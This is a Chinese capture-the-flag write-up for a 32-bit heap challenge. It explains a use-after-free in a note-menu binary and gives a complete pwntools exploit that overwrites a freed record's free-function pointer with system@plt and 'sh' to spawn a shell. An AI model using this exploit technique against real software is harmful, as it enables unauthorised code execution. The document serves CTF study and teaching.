写在前面
笔者在这里讲述一下新手入heap做题记录,同时修正一下网上很多wp存在的错误。
检查保护
做pwn题,老规矩是检查保护起手了。可以看到32位程序,开了nx和canary,got表可写,虽然这个题目用不到改写got表,233。
函数讲解
需要让大家在分析前了解的是fgets函数。
char *fgets(char *str, int n, FILE *stream)
从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止。
目前的理解就是,程序会从stream这个文件描述符中读取n - 1个字节到str指针处。注意,这里读取n - 1 字节的数据很重要。
程序漏洞分析
main函数
普通的菜单,创建、删除、打印堆块的选项。调用过system函数,可以直接利用。
do_new()函数
创建堆块,用records指针对堆块进行管理。网上其他博客对于创建堆块指针的存储讲解的很详细了,本文就简略带过了。只是这里要注意在输入text类型的内容时,要求我们输入读取内容的长度,并用fgets函数进行读入。还记得前面提到的fgets函数吗?,因此这里用户输入的时候,程序会比预计少读入一个字节。
do_del()函数
在上面的创建堆块时,会在堆块+4的位置存储相应类型free的函数,因此在do_del()函数中,会调用堆块+4处的函数指针对堆块进行free操作。
相应的,int类型的堆块会调用rec_int_free()函数
text类型的堆块会调用rec_str_free()函数
从上面可以看出,程序只是对指针进行了free操作,并没有将指针置0,因此存在UAF漏洞,可以进行利用。并且两种类型的堆块进行free的时候,都会对ptr即records[v0]进行free,这点很重要。
do_dump()函数
与上面的do_del()函数整体相似,且没有需要利用的地方,就不赘述了。
漏洞利用
exp
先贴上exp,方便后面讲解
from LibcSearcher import *
from sys import *
from time import *
context(os="linux",arch = "i386",log_level = "debug")
#++++++++++++++++++++++++++++++++++++++++
filename = sys.argv[1]
choice = sys.argv[2]
if choice == "1":
port = sys.argv[3]
p = remote("node4.buuoj.cn",port)
else:
p = process(filename)
elf = ELF(filename)
#++++++++++++++++++++++++++++++++++++++++
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sa = lambda delim,x : p.sendafter(delim,x)
sl = lambda x : p.sendline(x)
sla = lambda delim,x : p.sendlineafter(delim,x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
gdb.attach(p)
pause()
#++++++++++++++++++++++++++++++++++++++++
fake_rbp = "deadbeef"
fake_ebp = "dead"
def cmd(choice):
ru(b"CNote > ")
sl(str(choice))
def new(index,type,value,length = 0):
cmd(1)
sla(b"Index > ",str(index))
sla(b"Type > ",str(type))
if type == 1:
sla(b"Value > ",str(value))
elif type == 2:
sla("Length > ",str(length))
sla(b"Value > ",value)
def delete(index):
cmd(2)
sla(b"Index > ",str(index))
def pnote(index):
cmd(3)
sla(b"Index > ",str(index))
system_plt = elf.plt["system"]
new(0,2,b"aaaa",0xc)
debug() #--------------------------------①
new(1,1,0xf)
pause() #--------------------------------②
delete(0)
pause() #--------------------------------③
delete(1)
pause() #--------------------------------④
fix_delete = flat(
{
0x0: b"sh\x00",
0x4: p32(system_plt)
},length = 0x8)
new(3,2,fix_delete,0xa)
pause() #--------------------------------⑤
delete(0)
pause() #--------------------------------⑥
itr()
我们每次对堆块进行操作时都加上暂停进行调试分析。
在①处的断点,我们可以看到先申请了0xc大小的堆块。records[0]处记录了第一个申请到的chunk指针,我们姑且称为ptr0。在ptr0处存储了rec_str_print函数指针、ptr0+4处存储了rec_str_free函数指针,ptr0+8处记录了存储真正内容的chunk块地址,我们称这个chunk为content。
在②处的断点,就创建了一个新的int类型的堆块
在③和④处的断点,因为程序的执行流程,会让free的chunk在fastbin中如下排列。那么后面我们再申请0xc大小以下的堆块时,根据首次适应和LIFO的原则,会从左向右拿出fastbin中的空闲chunk。因此此时我们如果申请一个0xc大小的text类型的chunk,就可以将0x9c17000处的chunk作为存储text内容的chunk了。
在⑤处的断点,我们就按照上面的思路,申请了一个text类型的chunk,并写入了9字节的内容。这样子我们就成功的向ptr0处写入"sh\x00"的字符,改ptr0+4处为system函数的plt地址。(程序中间断掉了,heap具体地址不同)
在⑥处的断点,因为UAF的漏洞,我们可以继续对chunk0进行删除操作。但是这个时候程序就会执行我们布置好的system(“sh”)的命令。(当然,把sh换成/bin/sh字符串也是同一个道理
于此,成功getshell
多说几句
网上大多数exp的解释都是向ptr0+4处写入system函数,再向content这个堆块中写入”/bin/sh\x00“,这样子可以利用下图红色处的操作,伪造system(“/bin/sh”)执行,实际上这样子是不对的。因为用fgets函数进行读入的操作,会让我们在覆写system地址进入程序的时候,必须带上一个”\x0a“的换行符,但是这个换行符就会影响到寻找下一个chunk,因此不能解释成利用红框处的操作进行getshell。
真正的解释是本文上面讲述的,利用了红色框下面的一条free操作,进行system指令的伪造执行。